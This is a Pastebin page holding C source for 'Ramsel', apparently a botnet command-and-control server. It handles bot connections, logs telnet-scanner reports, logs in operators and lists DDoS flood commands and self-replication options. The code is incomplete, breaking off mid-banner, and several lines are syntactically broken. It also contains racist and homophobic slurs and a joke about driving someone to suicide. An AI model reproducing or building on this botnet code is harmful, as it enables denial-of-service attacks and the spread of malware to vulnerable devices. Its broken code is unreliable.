Advertisement
Condomenium

Ramsel.c ~ By iLLSeC

Sep 12th, 2017
753
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.52 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14.  
  15. #define MAXFDS 1000000
  16. #define RED "\x1b[0;31m"
  17. #define GREEN "\x1b[0;32m"
  18. #define C_RESET "\x1b[0m"
  19.  
  20. struct account {
  21. char id[20];
  22. char password[20];
  23. };
  24. static struct account accounts[10]; //max users is set on 50
  25. struct clientdata_t {
  26. uint32_t ip;
  27. char build[7];
  28. char connected;
  29. } clients[MAXFDS];
  30. struct telnetdata_t {
  31. int connected;
  32. } managements[MAXFDS];
  33. ////////////////////////////////////
  34. static volatile FILE *telFD;
  35. static volatile FILE *fileFD;
  36. static volatile int epollFD = 0;
  37. static volatile int listenFD = 0;
  38. static volatile int managesConnected = 0;
  39. static volatile int TELFound = 0;
  40. static volatile int scannerreport;
  41. ////////////////////////////////////
  42. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  43. {
  44. int total = 0, got = 1;
  45. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46. return got;
  47. }
  48. void trim(char *str)
  49. {
  50. int i;
  51. int begin = 0;
  52. int end = strlen(str) - 1;
  53. while (isspace(str[begin])) begin++;
  54. while ((end >= begin) && isspace(str[end])) end--;
  55. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  56. str[i - begin] = '\0';
  57. }
  58. static int make_socket_non_blocking (int sfd)
  59. {
  60. int flags, s;
  61. flags = fcntl (sfd, F_GETFL, 0);
  62. if (flags == -1)
  63. {
  64. perror ("fcntl");
  65. return -1;
  66. }
  67. flags |= O_NONBLOCK;
  68. s = fcntl (sfd, F_SETFL, flags);
  69. if (s == -1)
  70. {
  71. perror ("fcntl");
  72. return -1;
  73. }
  74. return 0;
  75. }
  76. static int create_and_bind (char *port)
  77. {
  78. struct addrinfo hints;
  79. struct addrinfo *result, *rp;
  80. int s, sfd;
  81. memset (&hints, 0, sizeof (struct addrinfo));
  82. hints.ai_family = AF_UNSPEC;
  83. hints.ai_socktype = SOCK_STREAM;
  84. hints.ai_flags = AI_PASSIVE;
  85. s = getaddrinfo (NULL, port, &hints, &result);
  86. if (s != 0)
  87. {
  88. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  89. return -1;
  90. }
  91. for (rp = result; rp != NULL; rp = rp->ai_next)
  92. {
  93. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  94. if (sfd == -1) continue;
  95. int yes = 1;
  96. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  97. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  98. if (s == 0)
  99. {
  100. break;
  101. }
  102. close (sfd);
  103. }
  104. if (rp == NULL)
  105. {
  106. fprintf (stderr, "STOP USING IRELIVANT PORTS\n");
  107. return -1;
  108. }
  109. freeaddrinfo (result);
  110. return sfd;
  111. }
  112. void broadcast(char *msg, int us, char *sender)
  113. {
  114. int sendMGM = 1;
  115. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  116. char *wot = malloc(strlen(msg) + 10);
  117. memset(wot, 0, strlen(msg) + 10);
  118. strcpy(wot, msg);
  119. trim(wot);
  120. time_t rawtime;
  121. struct tm * timeinfo;
  122. time(&rawtime);
  123. timeinfo = localtime(&rawtime);
  124. char *timestamp = asctime(timeinfo);
  125. trim(timestamp);
  126. int i;
  127. for(i = 0; i < MAXFDS; i++)
  128. {
  129. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  130. if(sendMGM && managements[i].connected)
  131. {
  132. send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
  133. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  134. send(i, ": ", 2, MSG_NOSIGNAL);
  135. }
  136. //printf("sent to fd: %d\n", i);
  137. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  138. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m%s@illsec -> \x1b[31m", 13, MSG_NOSIGNAL);
  139. else send(i, "\n", 1, MSG_NOSIGNAL);
  140. }
  141. free(wot);
  142. }
  143. void *epollEventLoop(void *useless)
  144. {
  145. struct epoll_event event;
  146. struct epoll_event *events;
  147. int s;
  148. events = calloc (MAXFDS, sizeof event);
  149. while (1)
  150. {
  151. int n, i;
  152. n = epoll_wait (epollFD, events, MAXFDS, -1);
  153. for (i = 0; i < n; i++)
  154. {
  155. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  156. {
  157. clients[events[i].data.fd].connected = 0;
  158. close(events[i].data.fd);
  159. continue;
  160. }
  161. else if (listenFD == events[i].data.fd)
  162. {
  163. while (1)
  164. {
  165. struct sockaddr in_addr;
  166. socklen_t in_len;
  167. int infd, ipIndex;
  168. in_len = sizeof in_addr;
  169. infd = accept (listenFD, &in_addr, &in_len);
  170. if (infd == -1)
  171. {
  172. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  173. else
  174. {
  175. perror ("accept");
  176. break;
  177. }
  178. }
  179. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  180. int dup = 0;
  181. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  182. {
  183. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  184. if(clients[ipIndex].ip == clients[infd].ip)
  185. {
  186. dup = 1;
  187. break;
  188. }
  189. }
  190.  
  191. if(dup)
  192. {
  193. if(send(infd, "!* GTFONIGGER\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  194. if(send(infd, "!* GTFOFAG\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  195. if(send(infd, "!* GTFODUP\n\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  196. if(send(infd, "!* DUP\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  197. if(send(infd, "!* GTFOPUSSY\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  198. if(send(infd, "!* LOLNOGTFO\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  199. close(infd);
  200. continue;
  201. }
  202.  
  203. s = make_socket_non_blocking (infd);
  204. if (s == -1) { close(infd); break; }
  205.  
  206. event.data.fd = infd;
  207. event.events = EPOLLIN | EPOLLET;
  208. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  209. if (s == -1)
  210. {
  211. perror ("epoll_ctl");
  212. close(infd);
  213. break;
  214. }
  215.  
  216. clients[infd].connected = 1;
  217.  
  218. }
  219. continue;
  220. }
  221. else
  222. {
  223. int thefd = events[i].data.fd;
  224. struct clientdata_t *client = &(clients[thefd]);
  225. int done = 0;
  226. client->connected = 1;
  227. while (1)
  228. {
  229. ssize_t count;
  230. char buf[2048];
  231. memset(buf, 0, sizeof buf);
  232.  
  233. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  234. {
  235. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  236. trim(buf);
  237. if(strcmp(buf, "PING") == 0)
  238. {
  239. if(send(thefd, "pOnG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  240. continue;
  241. }
  242. if(strstr(buf, "REPORT ") == buf)
  243. {
  244. char *line = strstr(buf, "REPORT ") + 7;
  245. fprintf(telFD, "%s\n", line);
  246. fflush(telFD);
  247. TELFound++;
  248. continue;
  249. }
  250. if(strstr(buf, "PROBING") == buf)
  251. {
  252. char *line = strstr(buf, "PROBING");
  253. scannerreport = 1;
  254. continue;
  255. }
  256. if(strstr(buf, "REMOVING PROBE") == buf)
  257. {
  258. char *line = strstr(buf, "REMOVING PROBE");
  259. scannerreport = 0;
  260. continue;
  261. }
  262. if(strcmp(buf, "pOnG") == 0)
  263. {
  264. continue;
  265. }
  266.  
  267. printf("buf: \"%s\"\n", buf);
  268. }
  269.  
  270. if (count == -1)
  271. {
  272. if (errno != EAGAIN)
  273. {
  274. done = 1;
  275. }
  276. break;
  277. }
  278. else if (count == 0)
  279. {
  280. done = 1;
  281. break;
  282. }
  283. }
  284.  
  285. if (done)
  286. {
  287. client->connected = 0;
  288. close(thefd);
  289. }
  290. }
  291. }
  292. }
  293. }
  294. unsigned int clientsConnected()
  295. {
  296. int i = 0, total = 0;
  297. for(i = 0; i < MAXFDS; i++)
  298. {
  299. if(!clients[i].connected) continue;
  300. total++;
  301. }
  302.  
  303. return total;
  304. }
  305. void *titleWriter(void *sock)
  306. {
  307. int thefd = (int)sock;
  308. char string[2048];
  309. while(1)
  310. {
  311. memset(string, 0, 2048);
  312. sprintf(string, "%c]0; ZMP Servers %d Hosts %d %c", '\033', clientsConnected(), managesConnected, '\007');
  313. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  314.  
  315. sleep(3);
  316. }
  317. }
  318.  
  319. int Search_in_File(char *str)
  320. {
  321. FILE *fp;
  322. int line_num = 0;
  323. int find_result = 0, find_line=0;
  324. char temp[512];
  325.  
  326. if((fp = fopen("illsec.txt", "r")) == NULL){
  327. return(-1);
  328. }
  329. while(fgets(temp, 512, fp) != NULL){
  330. if((strstr(temp, str)) != NULL){
  331. find_result++;
  332. find_line = line_num;
  333. }
  334. line_num++;
  335. }
  336. if(fp)
  337. fclose(fp);
  338.  
  339. if(find_result == 0)return 0;
  340.  
  341. return find_line;
  342. }
  343. void client_addr(struct sockaddr_in addr){
  344. printf("IP:%d.%d.%d.%d\n",
  345. addr.sin_addr.s_addr & 0xFF,
  346. (addr.sin_addr.s_addr & 0xFF00)>>8,
  347. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  348. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  349. FILE *logFile;
  350. logFile = fopen("server.log", "a");
  351. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  352. addr.sin_addr.s_addr & 0xFF,
  353. (addr.sin_addr.s_addr & 0xFF00)>>8,
  354. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  355. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  356. fclose(logFile);
  357. }
  358.  
  359. void *telnetWorker(void *sock)
  360. {
  361. char usernamez[80];
  362. int thefd = (int)sock;
  363. int find_line;
  364. managesConnected++;
  365. pthread_t title;
  366. char counter[2048];
  367. memset(counter, 0, 2048);
  368. char buf[2048];
  369. char* nickstring;
  370. char* username;
  371. char* password;
  372. memset(buf, 0, sizeof buf);
  373. char botnet[2048];
  374. memset(botnet, 0, 2048);
  375.  
  376. FILE *fp;
  377. int i=0;
  378. int c;
  379. fp=fopen("illsec.txt", "r");
  380. while(!feof(fp))
  381. {
  382. c=fgetc(fp);
  383. ++i;
  384. }
  385. int j=0;
  386. rewind(fp);
  387. while(j!=i-1)
  388. {
  389. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  390. ++j;
  391. }
  392.  
  393. if(send(thefd, "\x1b[36mJoining?: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  394. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  395. trim(buf);
  396. sprintf(usernamez, buf);
  397. nickstring = ("%s", buf);
  398. find_line = Search_in_File(nickstring);
  399. if(strcmp(nickstring, accounts[find_line].id) == 0){
  400. if(send(thefd, "\x1b[36m \r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  401. if(send(thefd, "\x1b[0;35mPass?: \x1b[31m", 23, MSG_NOSIGNAL) == -1) goto end;
  402. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  403. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  404. trim(buf);
  405. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  406. memset(buf, 0, 2048);
  407. goto fak;
  408. }
  409. failed:
  410. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  411. if(send(thefd, "\x1b[36m \r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  412. if(send(thefd, "\x1b[0;35m How lucky am I! I have something that saying\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  413. if(send(thefd, "\x1b[0;35m goodbye to you actually hurts\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  414. if(send(thefd, "\x1b[36m \r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  415. sleep(5);
  416. goto end;
  417. fak:
  418.  
  419. Title:
  420. pthread_create(&title, NULL, &titleWriter, sock);
  421. char ascii_banner_line1 [5000];
  422. char ascii_banner_line2 [5000];
  423. char ascii_banner_line3 [5000];
  424. char ascii_banner_line4 [5000];
  425. char ascii_banner_line5 [5000];
  426. char ascii_banner_line6 [5000];
  427.  
  428. char line1 [80];
  429. char line2 [80];
  430. char line3 [80];
  431.  
  432.  
  433. sprintf(ascii_banner_line1, "\x1b[1;34m ¦¦¦¦¦¦+ ¦¦¦¦¦+ ¦¦¦+ ¦¦¦+ ¦¦¦¦¦¦¦+ ¦¦¦¦¦¦¦+ ¦¦+ \r\n");
  434. sprintf(ascii_banner_line2, "\x1b[1;32m ¦¦+--¦¦+ ¦¦+--¦¦+ ¦¦¦¦+ ¦¦¦¦¦ ¦¦+----+ ¦¦+----+ ¦¦¦ \r\n");
  435. sprintf(ascii_banner_line3, "\x1b[0;35m ¦¦¦¦¦¦++ ¦¦¦¦¦¦¦¦ ¦¦+¦¦¦¦+¦¦¦ ¦¦¦¦¦¦¦+ ¦¦¦¦¦+ ¦¦¦ \r\n");
  436. sprintf(ascii_banner_line4, "\x1b[1;31m ¦¦+--¦¦+ ¦¦+--¦¦¦ ¦¦¦+¦¦++¦¦¦ +----¦¦¦ ¦¦+--+ ¦¦¦ \r\n");
  437. sprintf(ascii_banner_line5, "\x1b[1;36m ¦¦¦ ¦¦¦ ¦¦¦ ¦¦¦ ¦¦¦ +-+ ¦¦¦ ¦¦¦¦¦¦¦¦ ¦¦¦¦¦¦¦+ ¦¦¦¦¦¦¦+\r\n");
  438. sprintf(ascii_banner_line6, "\x1b[1;37m +-+ +-+ +-+ +-+ +-+ +-+ +------+ +------+ +------+\r\n");
  439. sprintf(line1, "\x1b[0;35m \r\n");
  440. sprintf(line2, "\x1b[0;35m \x1b[35mWelcome %s To Ramsel v1\x1b[0;32m \r\n", accounts[find_line].id, buf);
  441. sprintf(line3, "\x1b[0;31m~> Type HELP \r\n");
  442.  
  443. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  444. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  445. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  446. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  447. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  448. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  449. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  450. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  451. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  452. while(1) {
  453. if(send(thefd, "\x1b[0;36m~> \x1b[0;36m", 13, MSG_NOSIGNAL) == -1) goto end;
  454. break;
  455. }
  456. pthread_create(&title, NULL, &titleWriter, sock);
  457. managements[thefd].connected = 1;
  458.  
  459. while(fdgets(buf, sizeof buf, thefd) > 0)
  460. {
  461. if(strstr(buf, "BOTS"))
  462. {
  463. sprintf(botnet, "[*] ZMP servers: %d [*] Hosts: %d [*]\r\n", clientsConnected(), managesConnected);
  464. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  465. }
  466. if(strstr(buf, "!* TCP"))
  467. {
  468. sprintf(botnet, "AND Poof... HES GONE\r\n");
  469. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  470. }
  471. if(strstr(buf, "!* UDP"))
  472. {
  473. sprintf(botnet, "AHEM u better know what ur doin there bud\r\n");
  474. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  475. }
  476. if(strstr(buf, "!* STD"))
  477. {
  478. sprintf(botnet, "yee he aint o'line anymore..\r\n");
  479. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  480. }
  481. if(strstr(buf, "!* HTTP"))
  482. {
  483. sprintf(botnet, "HITTING THIS URL WITH MY COCK\r\n");
  484. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  485. }
  486. if(strstr(buf, "!* SCANNER ON"))
  487. {
  488. sprintf(botnet, "SCANNER STARTED\r\n");
  489. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  490. }
  491. if(strstr(buf, "!* SCANNER OFF"))
  492. {
  493. sprintf(botnet, "TELNET SCANNER STOPPED\r\n");
  494. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  495. }
  496. if(strstr(buf, "PORTS"))
  497. {
  498. sprintf(botnet, "Port 67 - Used for nulling DHCP\r\n")
  499. sprintf(botnet, "Port 53 - Only hits the web server (confuses owner)\r\n")
  500. sprintf(botnet, "Port 443 - Used to hit protected shit (nfo)\r\n")
  501. sprintf(botnet, "Port 3074 - Hits xbox and psn\r\n")
  502. sprintf(botnet, "Port 19 - Used to melt firmware (mainly routers)\r\n")
  503. sprintf(botnet, "Port 21 - Used to hit FTP servers\r\n")
  504. sprintf(botnet, "Port 23 - Used for hitting telnet\r\n")
  505. sprintf(botnet, "Port 22 - Used to hit ssh\r\n")
  506. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  507. }
  508. if(strstr(buf, "FUCKETRY"))
  509. {
  510. sprintf(botnet, "To piss someone off, with low power. Hit his net on port 21\r\n")
  511. sprintf(botnet, "To scare someone, Port scan his net ip and tell him the ports\r\n")
  512. sprintf(botnet, "To disrespect someone with a botnet, tell him he's a zone hax\r\n")
  513. sprintf(botnet, "To make someone kill themselves, again call them a zonehax\r\n")
  514. sprintf(botnet, "To clown someone, talk about stupid shit no one knows\r\n")
  515. sprintf(botnet, "To take someones girl, get close and act gay\r\n")
  516. sprintf(botnet, "To piss of a any retard, tell him ur name is illsec\r\n")
  517. sprintf(botnet, "To flex, well thats why you bought this net isn't it?\r\n")
  518. sprintf(botnet, "To piss of any 'sec' member, call them newgens\r\n")
  519. sprintf(botnet, "To piss off a zone sec, tell em u rep more bots\r\n")
  520. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  521. }
  522. if(strstr(buf, "DEV"))
  523.  
  524. {
  525. sprintf(botnet, "Made by iLLSeC\r\n");
  526. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  527. }
  528. if(strstr(buf, "RECORD"))
  529. {
  530. sprintf(botnet, "BOT RECORD ON v1: TELL ME YOURS IG @pvri\r\n");
  531. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  532. }
  533. if(strstr(buf, "HELP")) {
  534. pthread_create(&title, NULL, &titleWriter, sock);
  535. char helpline1 [80];
  536. char helpline2 [80];
  537. char helpline3 [80];
  538. char helpline4 [80];
  539.  
  540. sprintf(helpline1, "\x1b[0;35mType A Option From Below:\r\n");
  541. sprintf(helpline2, "\x1b[0;36m[\x1b[36mDDOS\x1b[0;36m] ~ DDOS Commands\r\n");
  542. sprintf(helpline3, "\x1b[0;35m[\x1b[0;35mEXTRA\x1b[0;35m] ~ Extra Lit Commands\r\n");
  543. sprintf(helpline4, "\x1b[0;36m[\x1b[36mSELFREP\x1b[0;36m] ~ ADMINS ONLY\r\n");;
  544.  
  545. if(send(thefd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  546. if(send(thefd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  547. if(send(thefd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  548. if(send(thefd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  549. pthread_create(&title, NULL, &titleWriter, sock);
  550. while(1) {
  551. if(send(thefd, "\x1b[0;36m%s@illsec -> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  552. break;
  553. }
  554. continue;
  555. }
  556. if(strstr(buf, "DDOS")) {
  557. pthread_create(&title, NULL, &titleWriter, sock);
  558. char ddosline1 [80];
  559. char ddosline2 [80];
  560. char ddosline3 [80];
  561. char ddosline4 [80];
  562. char ddosline5 [80];
  563. char ddosline6 [80];
  564. char ddosline7 [80];
  565. char ddosline8 [80];
  566. char ddosline9 [80];
  567.  
  568. sprintf(ddosline1, "\x1b[36m\x1b[36m !* UDP [IP] [PORT] [TIME] 32 1337 400 | UDP FLOOD\r\n");
  569. sprintf(ddosline2, "\x1b[0;35m\x1b[0;35m !* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  570. sprintf(ddosline3, "\x1b[36m\x1b[36m !* TCP [IP] [PORT] [TIME] 32 all 1337 400| TCP FLOOD\r\n");
  571. sprintf(ddosline4, "\x1b[0;35m\x1b[0;35m !* UDP [IP] [PORT] [TIME] 32 ack 1337 400 | ACK FLOOD\r\n");
  572. sprintf(ddosline5, "\x1b[36m\x1b[36m !* JUNK [IP] [PORT] [TIME] | JUNK FLOOD\r\n");
  573. sprintf(ddosline6, "\x1b[0;35m\x1b[0;35m !* HOLD [IP] [PORT] [TIME] | HOLD FLOOD\r\n");
  574. sprintf(ddosline7, "\x1b[36m\x1b[36m !* COMBO [IP] [PORT] [TIME] | COMBO FLOOD HOLD AND JUNK\r\n");
  575. sprintf(ddosline8, "\x1b[0;35m\x1b[0;35m !* HUG [IP] [PORT] [TIME] | HUG FLOOD\r\n");
  576. sprintf(ddosline9, "\x1b[36m\x1b[36m !* KILLATTK | KILLS ALL ATTACKS\r\n");
  577.  
  578. if(send(thefd, ddosline1, strlen(ddosline1), MSG_NOSIGNAL) == -1) goto end;
  579. if(send(thefd, ddosline2, strlen(ddosline2), MSG_NOSIGNAL) == -1) goto end;
  580. if(send(thefd, ddosline3, strlen(ddosline3), MSG_NOSIGNAL) == -1) goto end;
  581. if(send(thefd, ddosline4, strlen(ddosline4), MSG_NOSIGNAL) == -1) goto end;
  582. if(send(thefd, ddosline5, strlen(ddosline5), MSG_NOSIGNAL) == -1) goto end;
  583. if(send(thefd, ddosline6, strlen(ddosline6), MSG_NOSIGNAL) == -1) goto end;
  584. if(send(thefd, ddosline7, strlen(ddosline7), MSG_NOSIGNAL) == -1) goto end;
  585. if(send(thefd, ddosline8, strlen(ddosline8), MSG_NOSIGNAL) == -1) goto end;
  586. if(send(thefd, ddosline9, strlen(ddosline9), MSG_NOSIGNAL) == -1) goto end;
  587. pthread_create(&title, NULL, &titleWriter, sock);
  588. while(1) {
  589. if(send(thefd, "\x1b[0;36m%s@illsec -> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  590. break;
  591. }
  592. continue;
  593. }
  594. if(strstr(buf, "SELFREP")) {
  595. pthread_create(&title, NULL, &titleWriter, sock);
  596. char repline1 [80];
  597. char repline2 [80];
  598. char repline3 [80];
  599. char repline4 [80];
  600.  
  601. sprintf(repline1, "\x1b[36m !* PHONE ON | TURNS ON PHONE SELF REPLIFICATION\r\n");
  602. sprintf(repline2, "\x1b[0;35m !* TELNET ON | TURNS ON TELNET SELF REPLIFICATION\r\n");
  603. sprintf(repline3, "\x1b[36m !* MIRAI ON | TURNS ON MIRAI SELF REPLIFICATION\r\n");
  604. sprintf(repline4, "\x1b[0;35m !* ILLSEC ON | TURNS ON SOAP SELF REPLIFICATION\r\n");
  605. //Made By Vora.RAMSEL
  606. if(send(thefd, repline1, strlen(repline1), MSG_NOSIGNAL) == -1) goto end;
  607. if(send(thefd, repline2, strlen(repline2), MSG_NOSIGNAL) == -1) goto end;
  608. if(send(thefd, repline3, strlen(repline3), MSG_NOSIGNAL) == -1) goto end;
  609. if(send(thefd, repline4, strlen(repline4), MSG_NOSIGNAL) == -1) goto end;
  610. pthread_create(&title, NULL, &titleWriter, sock);
  611. while(1) {
  612. if(send(thefd, "\x1b[0;36m%s@illsec -> \x1b[1;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  613. break;
  614. }
  615. continue;
  616. }
  617.  
  618. if(strstr(buf, "EXTRA")) {
  619. pthread_create(&title, NULL, &titleWriter, sock);
  620. char extraline1 [80];
  621. char extraline2 [80];
  622. char extraline3 [80];
  623. char extraline4 [80];
  624. char extraline5 [80];
  625. char extraline6 [80];
  626. char extraline7 [80];
  627.  
  628. sprintf(extraline1, "\x1b[36m \r\n");
  629. sprintf(extraline2, "\x1b[36m CLEAR_ILLSEC | ILLSEC\r\n");
  630. sprintf(extraline3, "\x1b[35m CLEAR | CLEARS SCREEN\r\n");
  631. sprintf(extraline5, "\x1b[36m GB | TO LOGOUT\r\n");
  632. sprintf(extraline6, "\x1b[35m DEV | TO SEE DEV\r\n");
  633. sprintf(extraline7, "\x1b[36m BOTS | BOT COUNT\r\n");
  634.  
  635. if(send(thefd, extraline1, strlen(extraline1), MSG_NOSIGNAL) == -1) goto end;
  636. if(send(thefd, extraline2, strlen(extraline2), MSG_NOSIGNAL) == -1) goto end;
  637. if(send(thefd, extraline3, strlen(extraline3), MSG_NOSIGNAL) == -1) goto end;
  638. if(send(thefd, extraline4, strlen(extraline4), MSG_NOSIGNAL) == -1) goto end;
  639. if(send(thefd, extraline5, strlen(extraline5), MSG_NOSIGNAL) == -1) goto end;
  640. if(send(thefd, extraline6, strlen(extraline6), MSG_NOSIGNAL) == -1) goto end;
  641. if(send(thefd, extraline7, strlen(extraline7), MSG_NOSIGNAL) == -1) goto end;
  642. pthread_create(&title, NULL, &titleWriter, sock);
  643. while(1) {
  644. if(send(thefd, "\x1b[0;36m~> \x1b[0;36m", 12, MSG_NOSIGNAL) == -1) goto end;
  645. break;
  646. }
  647. continue;
  648. }
  649.  
  650. if(strstr(buf, "CLEAR")){
  651.  
  652. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  653. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  654. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  655. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  656. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  657. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  658. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  659. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  660. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  661. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  662. managements[thefd].connected = 1;
  663. }
  664.  
  665. if(strstr(buf, "clear")){
  666. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  667. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  668. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  669. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  670. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  671. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  672. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  673. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  674. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  675. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  676. managements[thefd].connected = 1;
  677. }
  678. if(strstr(buf, "CLEAR_ILLSEC")){
  679.  
  680. char ascii_banner_line10 [5000];
  681. char ascii_banner_line11 [5000];
  682. char ascii_banner_line12 [5000];
  683. char ascii_banner_line13 [5000];
  684. char ascii_banner_line14 [5000];
  685. char ascii_banner_line15 [5000];
  686. char ascii_banner_line16 [5000];
  687. char crystal1 [80];
  688. char crystal2 [80];
  689.  
  690. sprintf(ascii_banner_line10, "\x1b[1;37m ¦¦+ ¦¦+ ¦¦+ ¦¦¦¦¦¦¦+ ¦¦¦¦¦¦¦+ ¦¦¦¦¦¦+\r\n");
  691. sprintf(ascii_banner_line11, "\x1b[1;36m ¦¦¦ ¦¦¦ ¦¦¦ ¦¦+----+ ¦¦+----+ ¦¦+----+\r\n");
